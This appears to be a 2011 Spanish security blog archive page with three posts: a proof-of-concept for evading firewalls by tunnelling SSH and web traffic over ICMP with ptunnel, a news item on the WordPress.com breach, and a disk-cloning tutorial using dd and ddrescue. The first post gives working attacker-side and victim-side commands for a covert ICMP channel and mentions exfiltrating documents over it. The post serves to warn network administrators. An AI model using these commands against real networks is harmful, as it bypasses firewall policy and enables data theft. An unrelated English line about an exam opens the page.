The Information Systems and Computer Applications examination covers material that is usually taught in an introductory college-level business information systems course.

Archive for April 14, 2011

Saltar filtrado de cortafuegos mediante paquetes ICMP

La arquitectura de una red empresarial requiere un diseño que permita la separación entre los usuarios, servidores internos y los servidores perimetrales o DMZ. Un diseño básico inicial consiste en un cortafuegos principal que separa el tráfico que va a la red perimetral del que va al resto de redes, existiendo un segundo cortafuegos de distinto fabricante en la entrada de la red de servidores internos, y entre ambos el servidor de VPN. Un esquema resumido sería el siguiente:

Diagrama1

Un diseño de red como el expuesto suele acarrear una mayor dificultad a la hora de obtener ventaja de vulnerabilidades existentes en la DMZ, así como, para saltarse las restricciones de acceso a internet por parte de los usuarios (y por tanto de los empleados) sin pasar por el proxy web con filtrado de acceso y contenidos.

Por desgracia algunos administradores de redes cometen el fallo de no filtrar el tráfico ICMP, especialmente el “ping”, tanto desde la red DMZ como a los usuarios, e incluso permitir el tráfico ICMP en servidores internos. Pero sí en cambio filtran el tráfico UDP y TCP. Debido a este fallo de configuración, muy común por desgracia, un atacante podría emplear canales encubiertos en protocolo ICMP para realizar conexiones inversas o saltarse las restricciones y políticas de seguridad de la empresa.

Como prueba de concepto se va a emplear la herramienta ptunnel. Esta herramienta crea dos túneles o canales; el primero se crea entre el cliente y el proxy ptunnel empleando únicamente el tráfico ICMP, mientras que el segundo se produce entre el destino real y el proxy, empleando para ello el protocolo legítimo.

Comencemos descargándonos la herramienta, actualmente en su versión 0.7. Una vez descargada descomprimiremos el código fuente y lo analizaremos para comprobar que no contiene código malicioso (como lo hacemos siempre, ¿verdad?…). El siguiente paso será instalar las libpcap-dev y compilarlo creando el binario “ptunnel”. Por ejemplo, para Debian o Ubuntu sería necesario seguir los siguientes pasos:

# tar xvfz PingTunnel-0.70.tar.gz
# cd PingTunnel-0.70/
# apt-get install libpcap-dev
# make

Una vez disponemos de la herramienta comenzaremos con la simulación, donde se conectará por SSH a un servidor mediante el empleo de canales encubiertos ICMP desde un servidor de la red interna, el cual solo permite como tráfico saliente el “ping” y conexiones previamente establecidas.

En la prueba el atacante hace una conexión SSH al servidor que controla, pero perfectamente podría haber realizado una copia cifrada de la documentación de la empresa usando el mismo puerto SSH mediante “scp”. Recuerden que esto es una prueba de concepto cuyo objetivo es mostrar que se puede hacer, pero no dar consejos a los atacantes de lo que deberían hacer.

El servidor interno será la IP 192.168.2.104 y el equipo que controla el atacante será la IP 192.168.2.105, que podría haberse tratado de un equipo en Internet, el cual dispone de un servicio SSH y un proxy ptunnel.

Diagrama2

Las órdenes necesarias son:
Servidor del atacante:
# ./ptunnel -x patata

Servidor víctima red interna:
# ./ptunnel -p 192.168.2.105 -lp 80 -da 192.168.2.105 -dp 22 -x patata
# ssh localhost -p 80

Tal como podemos ver en la siguiente imagen, donde se aprecian dos consolas del servidor interno. La superior representa el túnel ICMP hacia la ip 192.168.2.105, cuya conexión real es el puerto 22 del mismo equipo. La consola inferior representa la conexión SSH hacia la máquina del atacante:

CLiente1

Y éste es el registro que nos muestra el proxy ptunnel del servidor del atacante:

Proxy1

Para finalizar mostraremos una traza con Wireshark donde el servidor interno 192.168.2.104 establece un túnel de tráfico ICMP con el servidor 192.168.2.105 para conectarse a una web de Internet cuya IP es 209.8XX.XXX.XXX; para ello empleamos la siguiente orden:


# ./ptunnel -p 192.168.2.105 -lp 33 -da 209.8XX.XXX.XXX -dp 80 -x patata

Captura

Como vemos entre el servidor interno y el proxy ptunnel solo hay paquetes ICMP de tipo request y reply, es decir, un “ping”. Por tanto un atacante podría conectarse y permitir conexiones inversas hacia los servidores de red interna mediante paquetes ICMP. Por este y otros motivos, es muy importante que no únicamente se le preste atención a los protocolos UDP y TCP en los cortafuegos, sino también a ICMP


WordPress.com, en el punto de mira

Importante ataque a WordPress.com

El pasado 3 de marzo de 2011 la plataforma de alojamiento de blogs WordPress.com sufrió, según sus propias palabras, el ataque más grande y continuado que habían visto en sus seis años de historia. Esta vez el ataque no ha buscado tumbar sus servidores, sino que directamente ha buscado entrar en los sistemas de muchos de sus servidores. Asumiendo ellos mismos que cualquier información en esos servidores podría haber sido revelada debido a la intrusión.

Matt Mullenweg, en su blog hospedado en WordPress.com, ha lanzado una publicación donde confirma el ataque y sencillamente nos proporciona unos consejos para generar contraseñas más seguras (seguro que encuentras más información en nuestro especial sobre contraseñas seguras). Paso a traducir parte de la publicación para dar esa información de primera mano:

 

Hoy tenemos que comunicar una noticia dura: Automattic ha sufrido una intrusión en muchos de sus servidores, y cualquier información en esos servidores podría ser potencialmente revelada.

 

Hemos estado revisando minuciosamente logs y registros de acceso acerca de la intrusión para determinar la información que podría resultar revelada, y asegurando las diferentes vías de acceso. Damos por hecho que nuestro código ha estado expuesto y copiado. Aunque la mayoría de nuestro código es Open Source, también hay secciones delicadas de nuestro código y de nuestros partners. Pese a ello, parece que la información revelada era limitada.

Habrá que esperar a que se revelen más novedades acerca de la noticia, pero posiblemente Matt Mullenweg esté quitando hierro a la importancia del ataque. Esa última parte del post en la que nos recuerdan cómo tener contraseñas seguras parece una invitación a cambiarlas, porque no tiene mucho que ver con el anuncio del ataque.

Aunque posiblemente la mayoría de los usuarios de WordPress.com no notarán las consecuencias del ataque, tendremos que estar atentos, porque todavía hay muchos interrogantes al respecto.

Enlace | Blog Matt MullenwegTechCrunch
En Genbeta | Especial contraseñas seguras
Imagen | http://www.flickr.com/photos/nbachiyski/2186228674/

 


Crear y montar imágenes raw (2ª parte)

Continuando el post que inició Alejandro Ramos sobre imágenes raw, voy a ampliar alguno de los puntos que se tocaron.

En el post se comentan comandos que derivan del original dd para realizar un clonado de discos. En caso de encontrarnos un disco con sectores defectuosos, el trabajo con ellos se puede convertir una auténtica pesadilla si no utilizamos las herramientas correctas. Si realizamos un clonado de disco con dd, si existe algún error en el disco origen el comando intenta una y otra vez leer el sector defectuoso, quedando atascado el proceso. Para evitarlo se puede realizar el clonado de la siguiente forma:
# dd if=/dev/sda of=/dev/sdb conv=noerror,sync
entonces no se detendrá ante sectores defectuosos y escribirá ceros, de forma que se mantiene el mismo tamaño en el disco destino que en el origen.
Para clonar discos con errores es mejor utilizar ddrescue del paquete gddrescue en Debian/Ubuntu.
La diferencia entre dd ddrescue es que el primero con las opciones conv=noerror,sync se escriben ceros al encontrarse con un bloque con sectores dañados. Es decir, se escriben tantos ceros como tamaño de bloque se haya indicado con la opción bs. ddrescue en cambio opera a nivel de sector cuando trabaja con bloques dañados, por lo tanto recupera la máxima información posible.
Tal y como se comenta en el manual de ddrescue, la diferencia respecto a otros software como dd_rescue de Garloff, estriba en que este software trabaja de forma intensiva cuando se encuentra errores. En cambio ddrescue se preocupa primero por recuperar la máxima cantidad de datos posible, volviendo después a los bloques que contienen sectores erróneos para recuperar tanto como sea posible. En resumen dd_rescue de primeras trabaja con las zonas erróneas que se va encontrando, pudiendo repercutir esto de forma negativa en el disco. ddrescue en cambio salva todo lo posible antes, y luego se centra en las zonas dañadas.
Para trabajar con discos defectuosos es conveniente seguir los siguientes pasos:
    1. Desmontar los sistemas de ficheros que contengan las particiones/discos que se vayan a copiar. Sino se podrían escribir datos mientras se realiza el clonado, de forma que la copia contenga un sistema de ficheros corrupto (por ejemplo, una parte de un fichero es la original y otra contiene datos modificados).
    2. Ejecutar ddrescue en dos pasadas, de forma que la primera sólo recupera los bloques que no contenga sectores defectuosos y el segundo se centre en recuperar el máximo de los defectuosos. Esto permite que cuando acabe el primer comando (primera pasada) tengamos buena parte de los datos recuperados. En el primer comando se reliza copia de gran cantidad de datos, pero el segundo resulta también costoso al trabajar con sectores dañados:
# ddrescue -v -n /dev/sda /dev/sdb log_ddrescue.txt
NOTA: con -b se puede indicar el tamaño de bloque para acelerar el clonado de datos. Según http://www.cgsecurity.org es adecuado trabajar con bloques de 256k-500k:
# ddrescue -v -r2 -d /dev/sda /dev/sdb log_ddrescue.txt
NOTA: en este comando no tendría sentido indicar un tamaño de bloque, ya que ddrescue cuando trabaja con bloques que contienen sectores dañados lo hace sector a sector.
  1. Finalmente se intentan solventar incoherencias en los sistemas de ficheros recuperados mediante fsck
Las herramientas anteriormente comentadas son útiles, pero poco eficientes antes discos de gran tamaño como los actuales. Para realizar un clonado eficiente de particiones (no de discos enteros), disponemos de varias herramientas:
    1. partimage: hace una copia a nivel de bloque, y por tanto no es capaz de reestablecer un sistema de fichero a una partición de menor tamaño. No tiene soporte para ext4/btrfs, y con ntfs trabaja en caso de no estar muy fragmentado y no hacer uso de compresión.
    2. partclone: trabaja a nivel de bloque. Tiene soporte para ext4/btrfs/ntfs.
    3. ntfsclone: trabaja a nivel de bloque con el sistema de ficheros NTFS.
IMPORTANTE: partimage/partclone/ntfsclone copian una partición a otra del mismo tamaño; nunca a una de menor tamaño. Y en caso de ser mayor, hay que redimensionar el sistema de ficheros a mano.
  1. fsarchiver: a diferencia de partimage, trabaja a nivel de fichero.
    Tiene soporte para ext4/btrfs/ntfs y también otras características como checksum, compresión multihilo, cifrado y flexibilidad en el tamaño de la partición. Se puede restaurar una copia a una partición de menor o mayor tamaño, sin tener que redimensionar el sistema de ficheros de forma manual.
Por último es importante tener en cuenta que no existe una única tabla de particiones en caso de que una de las particiones primarias sea extendida. Tendremos tantas tablas como particiones lógicas existan más la del MBR. Cada una de estas tablas se almacena en el primer sector de cada partición lógica formando una lista enlazada; de forma que la entrada de la partición extendida del MBR apunta a la tabla de la primera partición lógica, ésta a la segunda, y así hasta llegar a la última.
———————————–
Artículo cortesía de David Montero http://damontero.wordpress.com